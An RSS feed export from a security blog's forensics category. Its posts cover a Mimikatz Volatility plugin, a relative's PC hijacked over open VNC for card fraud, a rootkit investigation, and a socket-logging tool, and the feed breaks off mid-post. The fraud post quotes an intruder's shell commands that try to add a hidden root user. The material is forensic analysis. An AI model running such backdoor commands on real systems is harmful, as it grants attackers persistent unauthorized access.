<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Forensic &#8211; Phocean.net</title>
	<atom:link href="/category/security/forensic/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Computer Security Blog</description>
	<lastBuildDate>Fri, 24 Feb 2017 21:17:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.10</generator>
	<item>
		<title>Mimikatz offline, as a Volatility plugin!</title>
		<link>/2014/04/19/mimikatz-offline-as-a-volatility-plugin.html</link>
		<pubDate>Sat, 19 Apr 2014 10:42:59 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[LSA]]></category>
		<category><![CDATA[Mimikatz]]></category>
		<category><![CDATA[Volatility]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1962</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1962</guid>
		<description><![CDATA[I just tested the Mimikatz plugin for Volatility and it worked very well on a Windows 7 dump: Good job ;-)]]></description>
				<content:encoded><![CDATA[<p>I just tested the <a href="http://blog.digital-forensics.it/2014/03/et-voila-le-mimikatz-offline.html">Mimikatz plugin for Volatility</a> and it worked very well on a Windows 7 dump:</p>
<div id="attachment_1963" style="width: 599px" class="wp-caption aligncenter"><img class="size-full wp-image-1963" src="/wp-content/uploads/2014/04/vol-mimikatz.png" alt="Output of the Mimikatz plugin for Volatility" width="589" height="111" srcset="/wp-content/uploads/2014/04/vol-mimikatz.png 589w, /wp-content/uploads/2014/04/vol-mimikatz-580x109.png 580w" sizes="(max-width: 589px) 100vw, 589px" /><p class="wp-caption-text">Output of the Mimikatz plugin for Volatility</p></div>
<p>Good job ;-)</p>
]]></content:encoded>
			</item>
		<item>
		<title>A relative got hacked for scamming activities</title>
		<link>/2013/01/20/a-relative-got-hacked-for-scamming-activities.html</link>
		<pubDate>Sun, 20 Jan 2013 16:40:03 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[scam]]></category>
		<category><![CDATA[scammer]]></category>
		<category><![CDATA[scamming]]></category>
		<category><![CDATA[sqlite]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1474</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1474</guid>
		<description><![CDATA[One of my relative got hacked. After a phone conversation with him, I realized that his computer was hacked a few days before. He told me that he saw the mouse moving by itself, but what happened then was not clear to him. Anyway, he did not feel the urge to call me immediately. Needless to...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>One of my relative got hacked.</p>
<p>After a phone conversation with him, I realized that his computer was hacked a few days before. He told me that he saw the mouse moving by itself, but what happened then was not clear to him. Anyway, he did not feel the urge to call me immediately. Needless to say that his knowledge on computers is low.<br />
I immediately started to investigate.</p>
<h2>How the computer was hacked</h2>
<p>The computer is running Ubuntu . I suspected a vulnerability, but I soon realized that it was much simpler than that: by mistake, a VNC session was left opened!</p>
<p><em><strong>x11vnc</strong></em> with <strong><em>no authentication</em></strong> and <em><strong>no logging</strong></em>&#8230; Damned!</p>
<h2>What the attacker did</h2>
<p>What he tried first was to create a user to maintain access. But the scammer was probably low tech and soon abandonned.</p>
<p>Here is his sequence in the shell history:</p>
<pre>261 adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M xxxcx
262 useradd -d /home/xxxcx -m nokia00
263 passwd xxxcx</pre>
<p>Command <strong>#261</strong> failed, because of unproper syntax. I guess he meant useradd, as adduser on Debian/Ubuntu has totally different options. Note that what he was trying to do is create a new root user named xxxcx (with no home directory).</p>
<p>He probably did not realize his mistake, but yet tried this time useradd with fewer options in command <strong>#262</strong>. This time, he would create the home directory and name the user nokia00&#8230; Why not. Alas, the command can&#8217;t work as a standard user!</p>
<p>Then, command <strong>#263</strong>: he tried to change the current password, but again he failed as it is required to know it before updating it&#8230;</p>
<p>And that&#8217;s it. Pretty lame, isn&#8217;t it? He got quickly discouraged and started to use exclusively <em><strong>Firefox</strong></em>.</p>
<h2>On-line shopping</h2>
<p>With support of <a title="forensicswiki.org" href="http://www.forensicswiki.org/wiki/Mozilla_Firefox">forensicswiki.org</a>, I dumped the full Firefox profile on my computer and started to analyze it with the <a title="Sqlite Manager" href="https://addons.mozilla.org/fr/firefox/addon/sqlite-manager/">Sqlite Manager</a> extension.</p>
<blockquote><p>Sorry but I will be hiding private info and sensitive data that could be used for a legal action.</p></blockquote>
<p>I got most info from the files <em><strong>cookies.sqlite</strong></em> and <em><strong>places.sqlite</strong></em>.</p>
<div id="attachment_1482" style="width: 590px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/cookies" rel="attachment wp-att-1482"><img class="size-medium wp-image-1482" alt="cookies.sqlite: a lot of info: email and billing info used by the attacker" src="/wp-content/uploads/2013/01/cookies-580x345.png" width="580" height="345" srcset="/wp-content/uploads/2013/01/cookies-580x345.png 580w, /wp-content/uploads/2013/01/cookies-940x560.png 940w, /wp-content/uploads/2013/01/cookies-500x298.png 500w, /wp-content/uploads/2013/01/cookies.png 1394w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">cookies.sqlite: a lot of info: email and billing info used by the attacker</p></div>
<div id="attachment_1483" style="width: 590px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/places" rel="attachment wp-att-1483"><img class=" wp-image-1483 " title="places.sqlite" alt="places" src="/wp-content/uploads/2013/01/places-580x345.png" width="580" height="345" srcset="/wp-content/uploads/2013/01/places-580x345.png 580w, /wp-content/uploads/2013/01/places-940x560.png 940w, /wp-content/uploads/2013/01/places-500x298.png 500w, /wp-content/uploads/2013/01/places.png 1394w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">places.sqlite: attacker&#8217;s browsing history, with interesting purchase references in GET parameters</p></div>
<p>The guy didn&#8217;t loose time, he knew precisely what he wanted and what to do.</p>
<ol>
<li>He first visited two websites to localize the computer: <a title="ip2location.com" href="http://ip2location.com">ip2location.com</a> and <a title="ip-tracker.org" href="http://www.ip-tracker.org">ip-tracker.org</a>. You may think that it is a strange first move, but I will come back on that later as I have a theory.</li>
<li>Now that he knew in what country he was (country XXX), he started to do online shopping.</li>
</ol>
<p>It is interesting that his online shopping was all linked to web hosting:</p>
<ul>
<li>templates from dreamtemplates.com</li>
<li>a .net domain name (with however part of the prefix being localized accordingly to the country suffix).</li>
<li>hosting at netfirms.com and mg1host.com</li>
</ul>
<p>Note that the criminal used a online payment platform that I never heard about before: 2checkout.com aka 2co.com.</p>
<p>Unfortunately, when I investigated, all cookies were expired so I could not connect to the criminal&#8217;s account.</p>
<p>Yet, it still had some valuable info. The most interesting info I found was from a cookie from dreamtemplates.com. I got all the billing info used by the attacker:</p>
<ul>
<li>attacker&#8217;s gmail address (probably compromised or anonymous)</li>
<li>Name and address for the billing, that sounded real&#8230;</li>
</ul>
<p>Also, GET parameters in URLs were very interesting.</p>
<p>In some of them, you can guess the amount of the purchase he did. He for sure bought stuff for at least a total of 500$. But it is without counting the stuff that I cannot guess from URLs, so it is probably sensibly much more in reality.</p>
<p>But, even better, some had order ids. Hey, wait! Let&#8217;s have a look on the 2co website:</p>
<div id="attachment_1487" style="width: 474px" class="wp-caption alignnone"><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/2co_order_review" rel="attachment wp-att-1487"><img class=" wp-image-1487 " alt="2co order review = order number + email" src="/wp-content/uploads/2013/01/2co_order_review-580x362.png" width="464" height="290" srcset="/wp-content/uploads/2013/01/2co_order_review-580x362.png 580w, /wp-content/uploads/2013/01/2co_order_review-480x300.png 480w, /wp-content/uploads/2013/01/2co_order_review.png 781w" sizes="(max-width: 464px) 100vw, 464px" /></a><p class="wp-caption-text">2co order review = order number + email</p></div>
<p>Hmmm&#8230; we have the email address and the order number&#8230; bingo!</p>
<p><a href="/2013/01/20/a-relative-got-hacked-for-scamming-activities.html/order" rel="attachment wp-att-1488"><img class="alignnone  wp-image-1488" alt="order" src="/wp-content/uploads/2013/01/order-580x911.png" width="406" height="638" srcset="/wp-content/uploads/2013/01/order-580x911.png 580w, /wp-content/uploads/2013/01/order-190x300.png 190w, /wp-content/uploads/2013/01/order.png 676w" sizes="(max-width: 406px) 100vw, 406px" /></a></p>
<p>Now, we have at least all info of the credit card owner, certainly the biggest victim in this mess.</p>
<h2>Conclusion</h2>
<p>That&#8217;s it for now. We are still in the process of transmitting the info to the police and alerting the victim.</p>
<p>Here are a few thoughts by the way:</p>
<ul>
<li>Logging, always logging! It is a pity that we know literally nothing about the scammer source ip address. All his actions were made from within a VNC session and it leaves no trace. He may have came from another proxy, but who knows&#8230; I still have a little hope that under legal request, the Internet provider of my relative will be able to provide some logs.</li>
</ul>
<ul>
<li>Nowadays, it is still difficult to report such a case to the police and to help the victim. The local police is at loss and does not really know what to do. The cyber section is slow to answer, probably crawling under requests (mostly spam stuff?).</li>
</ul>
<ul>
<li>Not every one has a computer specialist among friends or relatives. It must be a terrible experience to see the police coming to you for a fraud one hasn&#8217;t committed directly. Few people, even sometimes among IT professionals, understand that.</li>
</ul>
<ul>
<li>The criminal seemed low tech, but very organized at the same time.<br />
Here is my theory: he probably has a precise goal and is not loosing time.<br />
He follows a process: geo-localize the victim or target a country and choose accordingly financial data in his database.<br />
Then, he purchases stuff from a list of items he needs or he is requested.<br />
Finally, if he could not find a way to maintain access in seconds, he leaves. Mission done: this scammer is probably doing it full time, as a professional activity. Lame but efficient for the crime industry.</li>
</ul>
<ul>
<li>The credit card info was accompanied with private info: real name and address. We all know that but it is always shocking to think how it can easily obtained: compromised computer, hacked online shop or database, dishonest employee (e.g. at the hotel), etc.</li>
</ul>
<ul>
<li>The websites  will probably be used for more scamming and illegal activities. I am going to monitor the domain I got for a while.</li>
</ul>
<p>Keep wired for updates.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Rootkit in my lab? (Part III)</title>
		<link>/2012/07/22/rootkit-in-my-lab-part-iii.html</link>
		<comments>/2012/07/22/rootkit-in-my-lab-part-iii.html#comments</comments>
		<pubDate>Sun, 22 Jul 2012 07:48:06 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Mac OS]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[BSOD]]></category>
		<category><![CDATA[crashdump]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Regshot]]></category>
		<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[WinDBG]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1317</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1317</guid>
		<description><![CDATA[First, thanks for all the comments in the previous articles (Part I and Part II). I decided to analyze one the crash I experienced during registry analysis. I could reproduce all the time a BSOD with Regshot. I thought it would be nice to see what I could get with WinDBG. I had my environment set up...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/07/22/rootkit-in-my-lab-part-iii.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>First, thanks for all the comments in the previous articles (<a title="Rootkit in my lab ? (part I)" href="/2012/06/30/rootkit-in-my-lab.html">Part I</a> and <a title="Rootkit in my lab ? (part II)" href="/2012/07/11/rootkit-in-my-lab-part-ii.html">Part II</a>).</p>
<p>I decided to analyze one the crash I experienced during registry analysis.<br />
I could reproduce all the time a BSOD with Regshot. I thought it would be nice to see what I could get with WinDBG.</p>
<p>I had my environment set up with the suspicious VM configured to debug activated on the serial port, which is a simple pipe on Mac OS X.<br />
Another VM is configured with a serial port as the other end of this pipe, and WinDBG attached to it.<br />
Another method would be to just configure Windows to create a crashdump file with kernel symbols, that you can later load into WinDBG. Of course, the first method offers more opportunities to check and play with the live system.</p>
<p>Then, I just boot the target and trigger the crash, simply by starting a scan with Regshot:</p>
<p style="text-align: center;"><iframe src="http://player.vimeo.com/video/46157626" frameborder="0" width="500" height="281"></iframe></p>
<p>Windows then crashes, WinDBG catches the exception and stops.</p>
<p>So what do we have ?</p>
<p>First, the error type, <em><strong>PAGE_FAULT_IN_NONPAGED_AREA (50)</strong></em>, means that an instruction pointed to an invalid memory address. Let&#8217;s check this.</p>
<p>With <em><strong>!analyse -v</strong></em>, you get the <a href="/wp-content/uploads/2012/07/regshot-BSOD.txt">full error dump</a>.</p>
<div id="attachment_1331" style="width: 727px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/07/WinXP-ReversingBox-2.png" rel="lightbox[1317]"><img class=" wp-image-1331 " title="Crashing Instruction" src="/wp-content/uploads/2012/07/WinXP-ReversingBox-2-1024x557.png" alt="" width="717" height="390" srcset="/wp-content/uploads/2012/07/WinXP-ReversingBox-2-1024x557.png 1024w, /wp-content/uploads/2012/07/WinXP-ReversingBox-2-300x163.png 300w, /wp-content/uploads/2012/07/WinXP-ReversingBox-2.png 1206w" sizes="(max-width: 717px) 100vw, 717px" /></a><p class="wp-caption-text">Crashing Instruction</p></div>
<p>It shows the function (nt!CmpGetValueKeyFromCache, offset 0x89) and the memory address where the crash was triggered.</p>
<p>The instruction at this address is:</p>
<pre>80637807 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]</pre>
<p>This instruction is trying to copy 8 bytes at the address pointed by EDI.<br />
EDI has the value of <strong>0xe1285050</strong> at execution time.</p>
<p>And what do we have at this memory location ?</p>
<div id="attachment_1333" style="width: 727px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/07/WinXP-ReversingBox-3.png" rel="lightbox[1317]"><img class=" wp-image-1333 " title="EDI pointing to invalid memory section" src="/wp-content/uploads/2012/07/WinXP-ReversingBox-3-1024x671.png" alt="" width="717" height="470" srcset="/wp-content/uploads/2012/07/WinXP-ReversingBox-3-1024x671.png 1024w, /wp-content/uploads/2012/07/WinXP-ReversingBox-3-300x196.png 300w, /wp-content/uploads/2012/07/WinXP-ReversingBox-3.png 1394w" sizes="(max-width: 717px) 100vw, 717px" /></a><p class="wp-caption-text">EDI pointing to invalid memory section</p></div>
<p>Nothing indeed. Note that this corruption persists at every boot.</p>
<p>So what can we conclude?<br />
We can certainly exclude hardware failure, because it is a virtual machine and because the corruption always occur at the same memory region, even after a reboot.<br />
At least, I can now be sure that something in the kernel is definitely corrupted.</p>
<p>Could it be a rootkit trick? Still the question remains, but to me it now looks very, very suspicious. Some rootkit code, poorly written, could have sat in this non-paged memory area and been paged out, causing the BSOD. I have not much knowledge about it at this time but I am going to search on this. At least, I now have good starting point to look at.</p>
<p>That&#8217;s all for today, folks. I wrote it while I am still working on it, so sorry if it looks rough and incomplete. It is sort of live, thoughts are still in process.</p>
<p>Again, I am looking forward to reading your comments and suggestions. (Hopefully) there will be a part IV!</p>
]]></content:encoded>
			<wfw:commentRss>/2012/07/22/rootkit-in-my-lab-part-iii.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rootkit in my lab? (part II)</title>
		<link>/2012/07/11/rootkit-in-my-lab-part-ii.html</link>
		<comments>/2012/07/11/rootkit-in-my-lab-part-ii.html#comments</comments>
		<pubDate>Wed, 11 Jul 2012 20:18:58 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Keylogger]]></category>
		<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[Sysinternals]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[Volatility]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1294</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1294</guid>
		<description><![CDATA[I finished checking the RAM with Volatility and&#8230; I found nothing. Nada. It&#8217;s a lot of fustration. There must be something just there, but my findings are certainly limited by my skills. I attach here some of the main outputs of Volatility. As far as I can tell: no evidence of injection or kernel hooking...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/07/11/rootkit-in-my-lab-part-ii.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>I finished checking the RAM with Volatility and&#8230; I found nothing. Nada.</p>
<p>It&#8217;s a lot of fustration. There must be something just there, but my findings are certainly limited by my skills.</p>
<p>I attach here some of the main outputs of Volatility. As far as I can tell:</p>
<ul>
<li>no evidence of injection or kernel hooking</li>
<li>no suspicious process</li>
<li>no suspicious driver</li>
<li>no suspicious registry entry</li>
<li>etc.</li>
</ul>
<p>Based on <a title="Rootkit in my lab?" href="/2012/06/30/rootkit-in-my-lab.html">my observations</a>, I first tried to narrow my investigations (drivers and hooks) but as I could not find anything, I ended dumping most of Volatility outputs in hope to see something unusual. I also compared them with a fresh Windows XP SP3 install. I extracted keyboard related drivers (keyboard.sys, kbdclass.sys, i8042prt.sys), hashed them, scanned them: there were native. I am less sure on how to deal with the software certificate system, but I did checked all Microsoft and root certificates in the bank along with their signature with a clean system: nothing wrong.</p>
<p>Dear reader, any help or tip is welcomed! Am I missing something obvious? Could it be possibly not a rootkit but some kind of corruption? If so, how to detect it?</p>
<p>Just drop me an e-mail if you want to have a look on the dump itself.</p>
<p>Volatility outputs:</p>
<ul>
<li><a href="/wp-content/uploads/2012/07/apihooks.txt">apihooks</a></li>
<li><a href="/wp-content/uploads/2012/07/driverscan.txt">driverscan</a></li>
<li><a href="/wp-content/uploads/2012/07/handles.txt">handles</a></li>
<li><a href="/wp-content/uploads/2012/07/idt.txt">idt</a></li>
<li><a href="/wp-content/uploads/2012/07/ldrmodules.txt">ldrmodules</a></li>
<li><a href="/wp-content/uploads/2012/07/malfind-yara.txt">malfind-yara</a></li>
<li><a href="/wp-content/uploads/2012/07/malfind.txt">malfind</a></li>
<li><a href="/wp-content/uploads/2012/07/ssdt.txt">ssdt</a></li>
<li><a href="/wp-content/uploads/2012/07/svcscan.txt">svcscan</a></li>
<li><a href="/wp-content/uploads/2012/07/threads1.txt">threads</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>/2012/07/11/rootkit-in-my-lab-part-ii.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Rootkit in my lab?</title>
		<link>/2012/06/30/rootkit-in-my-lab.html</link>
		<comments>/2012/06/30/rootkit-in-my-lab.html#comments</comments>
		<pubDate>Sat, 30 Jun 2012 17:49:49 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Keylogger]]></category>
		<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[Sysinternals]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[Volatility]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1268</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1268</guid>
		<description><![CDATA[Context For now, I can&#8217;t tell much about the context, mainly because it may &#8211; or may not &#8211; involve other people. The only thing I am interested in is to spot the issue and understand precisely what is going on. What makes the case really interesting though, is that it occurred on a fresh...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/06/30/rootkit-in-my-lab.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<h2>Context</h2>
<p>For now, I can&#8217;t tell much about the context, mainly because it may &#8211; or may not &#8211; involve other people. The only thing I am interested in is to spot the issue and understand precisely what is going on.</p>
<p>What makes the case really interesting though, is that it occurred on a fresh install of a Windows XP virtual machine. I aimed it to be a clean malware reversing snapshot. I noticed the weired behavior minutes after finishing the system install and setting up a bunch of reversing and live analysis tools.</p>
<p>So I bet that if I got some malware, it probably comes from one of those. At this time, unfortunately, there are too many and I could not spot the exact time, so I can not start the analysis from this angle.</p>
<p>This article is almost written in live, so pardon my mistakes. I will update it as soon as I find something new. Of course, I am really expecting your feedback, suggestions and corrections. I see it as a great opportunity to learn, even though this one may not be the easiest&#8230;</p>
<h2>Symptoms</h2>
<p>Two things alerted me quickly.</p>
<p>The first one was, at a point, the permanent failure of going through the full windows update process. Believe me, I have tried all ways.</p>
<p>The second one was the weird dialog when trying to access to the keyboard layout settings. It says &#8220;<em><strong>Incompatible driver detected</strong></em>&#8220;. To me, this looks like there is a keylogger somewhere&#8230;</p>
<div id="attachment_1269" style="width: 648px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/WinXP-Reversing.png" rel="lightbox[1268]"><img class=" wp-image-1269 " title="WinXP-Reversing" src="/wp-content/uploads/2012/06/WinXP-Reversing.png" alt="" width="638" height="577" srcset="/wp-content/uploads/2012/06/WinXP-Reversing.png 1064w, /wp-content/uploads/2012/06/WinXP-Reversing-300x270.png 300w, /wp-content/uploads/2012/06/WinXP-Reversing-1024x924.png 1024w" sizes="(max-width: 638px) 100vw, 638px" /></a><p class="wp-caption-text">Suspicious activities: the keyboard driver and windows update seem to be messed</p></div>
<p>Then, as I started to check around, more odd stuff came out.</p>
<p>I fired up Process Explorer, and soon realize that it was &#8220;unable to verify&#8221; the signatures of all the running Windows processes. I could not find anything else suspicious, though (no odd process, memory content looks normal, etc.).</p>
<div id="attachment_1275" style="width: 727px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/VMware-Fusion.png" rel="lightbox[1268]"><img class=" wp-image-1275 " title="Process Explorer validating processes" src="/wp-content/uploads/2012/06/VMware-Fusion-1024x552.png" alt="" width="717" height="386" srcset="/wp-content/uploads/2012/06/VMware-Fusion-1024x552.png 1024w, /wp-content/uploads/2012/06/VMware-Fusion-300x162.png 300w" sizes="(max-width: 717px) 100vw, 717px" /></a><p class="wp-caption-text">On the left, Process Explorer fails to validate any Windows process.<br />On the right, expected behavior on a clean system.</p></div>
<p>Ok, while I am with the Sysinternal suite, why not scanning with Rootkit Revealer:</p>
<div id="attachment_1279" style="width: 379px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/Windows-XP-Reversing.png" rel="lightbox[1268]"><img class=" wp-image-1279 " title="Rootkit Revealer" src="/wp-content/uploads/2012/06/Windows-XP-Reversing.png" alt="" width="369" height="257" srcset="/wp-content/uploads/2012/06/Windows-XP-Reversing.png 615w, /wp-content/uploads/2012/06/Windows-XP-Reversing-300x209.png 300w" sizes="(max-width: 369px) 100vw, 369px" /></a><p class="wp-caption-text">Rootkit Revealer cannot access to the SYSTEM hive of the registry</p></div>
<p>Interesting&#8230; and what about GMER:</p>
<div id="attachment_1282" style="width: 452px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/Windows-XP-Reversing-2.png" rel="lightbox[1268]"><img class=" wp-image-1282 " title="GMER" src="/wp-content/uploads/2012/06/Windows-XP-Reversing-2.png" alt="" width="442" height="339" srcset="/wp-content/uploads/2012/06/Windows-XP-Reversing-2.png 736w, /wp-content/uploads/2012/06/Windows-XP-Reversing-2-300x230.png 300w" sizes="(max-width: 442px) 100vw, 442px" /></a><p class="wp-caption-text">GMER crashes when accessing the registry&#8230;</p></div>
<p>Oops! Now it crashes when it is accessing the registry&#8230;</p>
<p>For the fun, let&#8217;s see what happens if we try to set up an antivirus (Security Essentials):</p>
<div id="attachment_1283" style="width: 648px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/Windows-XP-Reversing-3.png" rel="lightbox[1268]"><img class=" wp-image-1283 " title="Installation of Microsoft Security Essentials" src="/wp-content/uploads/2012/06/Windows-XP-Reversing-3.png" alt="" width="638" height="577" srcset="/wp-content/uploads/2012/06/Windows-XP-Reversing-3.png 1064w, /wp-content/uploads/2012/06/Windows-XP-Reversing-3-300x270.png 300w, /wp-content/uploads/2012/06/Windows-XP-Reversing-3-1024x924.png 1024w" sizes="(max-width: 638px) 100vw, 638px" /></a><p class="wp-caption-text">Windows certificate warning when installing&#8230; Microsoft Security Essentials!!!</p></div>
<p>Nice one! Very suspicious! Note that after a full scan, Security Essentials reports me that the system is clean and everything is fine. I am so relieved. :)</p>
<p>Curious to see how my certificates are, I run <em><strong>certmgr.msc. </strong></em><strong></strong>I compared all Microsoft root certificates with a clean machine and could not see anything different. But again something happened:</p>
<div id="attachment_1285" style="width: 360px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/Windows-XP-Reversing-5.png" rel="lightbox[1268]"><img class=" wp-image-1285 " title="certmgr.msc" src="/wp-content/uploads/2012/06/Windows-XP-Reversing-5.png" alt="" width="350" height="193" srcset="/wp-content/uploads/2012/06/Windows-XP-Reversing-5.png 500w, /wp-content/uploads/2012/06/Windows-XP-Reversing-5-300x165.png 300w" sizes="(max-width: 350px) 100vw, 350px" /></a><p class="wp-caption-text">certmgr.msc crashes</p></div>
<p>Oh, just one of my last attempts to do live analysis (this the WinPcap setup included with Wireshark):</p>
<div id="attachment_1288" style="width: 391px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2012/06/Windows-XP-Reversing-6.png" rel="lightbox[1268]"><img class=" wp-image-1288 " title="WinPCAP installation" src="/wp-content/uploads/2012/06/Windows-XP-Reversing-6.png" alt="" width="381" height="305" srcset="/wp-content/uploads/2012/06/Windows-XP-Reversing-6.png 544w, /wp-content/uploads/2012/06/Windows-XP-Reversing-6-300x239.png 300w" sizes="(max-width: 381px) 100vw, 381px" /></a><p class="wp-caption-text">WinPCAP installation also fails</p></div>
<p>Ok, so enough played. The thing seems to be nicely done, and live analysis is going to be way too hard and unreliable.</p>
<h2>Memory Analysis</h2>
<p>This is where I am now. I reverted to a snapshot prior to my live analysis attemps, confirmed the strange behaviors are still observable, and suspended the VM to get the vmem file.</p>
<p>So I have spent the last hours scanning the memory with, of course, <em><strong>Volatility</strong></em>.</p>
<p>So far, I have to confess that I found NOTHING. But analyzing the memory can be a harsh process when it comes to sophisticated threats, and I may have reached the limits of my skills.</p>
<p>But, anyway, I could not dream of a greater and more exciting opportunity to learn!</p>
<p>My discoveries, if there are, will be published in another article.</p>
<p><strong>UPDATE: I forgot to tell that it is a Windows XP SP3 machine, but not fully updated due to the issues.</strong></p>
]]></content:encoded>
			<wfw:commentRss>/2012/06/30/rootkit-in-my-lab.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Soktspy</title>
		<link>/2012/06/20/soktspy.html</link>
		<pubDate>Wed, 20 Jun 2012 20:45:54 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Dev]]></category>
		<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[socket]]></category>
		<category><![CDATA[Soktpy]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1254</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1254</guid>
		<description><![CDATA[Soktspy is a small script that may be helpful for some investigation. Sometimes, you may detect that some suspicious network traffic coming out from a machine. In general, it is easy to spot the process from which the packets originate. You somehow connect to the PC and look for open sockets. But sometimes, the behavior...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2012/06/20/soktspy.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Soktspy is a small script that may be helpful for some investigation.</p>
<p>Sometimes, you may detect that some suspicious network traffic coming out from a machine. In general, it is easy to spot the process from which the packets originate. You somehow connect to the PC and look for open sockets.</p>
<p>But sometimes, the behavior may be very sneaky, consisting of one or two packets, at rare and random intervals. Unless you spend all the day before the screen, it may be very difficult to trace.</p>
<p>Especially with stock tools or without installing any intrusive hardware, which is also the reason why I did this tool. On a production server, you want to install as little dependencies as possible, right?</p>
<p>So here is the Soktspy, a python script that easily build into a portable and standalone executable to deploy on the target machine.</p>
<p>Once launched, it just loops in the background and log sockets that are created for some given peers (the IP addresses you found involved in the suspicious network activity).</p>
<p>Maybe, some other tool exist, but I could not find anything similar. Let me know if you have any suggestion. Anyway, it was a nice exercise to do :)</p>
<p><img class="aligncenter size-full wp-image-1257" title="soktspy01" src="/wp-content/uploads/2012/06/soktspy01.png" alt="" width="668" height="427" srcset="/wp-content/uploads/2012/06/soktspy01.png 668w, /wp-content/uploads/2012/06/soktspy01-300x191.png 300w" sizes="(max-width: 668px) 100vw, 668px" /></p>
<p><strong>Download</strong></p>
<p><a href="/wp-content/uploads/2012/06/soktSpy-v1.2.zip">soktSpy v1.2</a></p>
<p><strong>Pre-requisites</strong></p>
<ul>
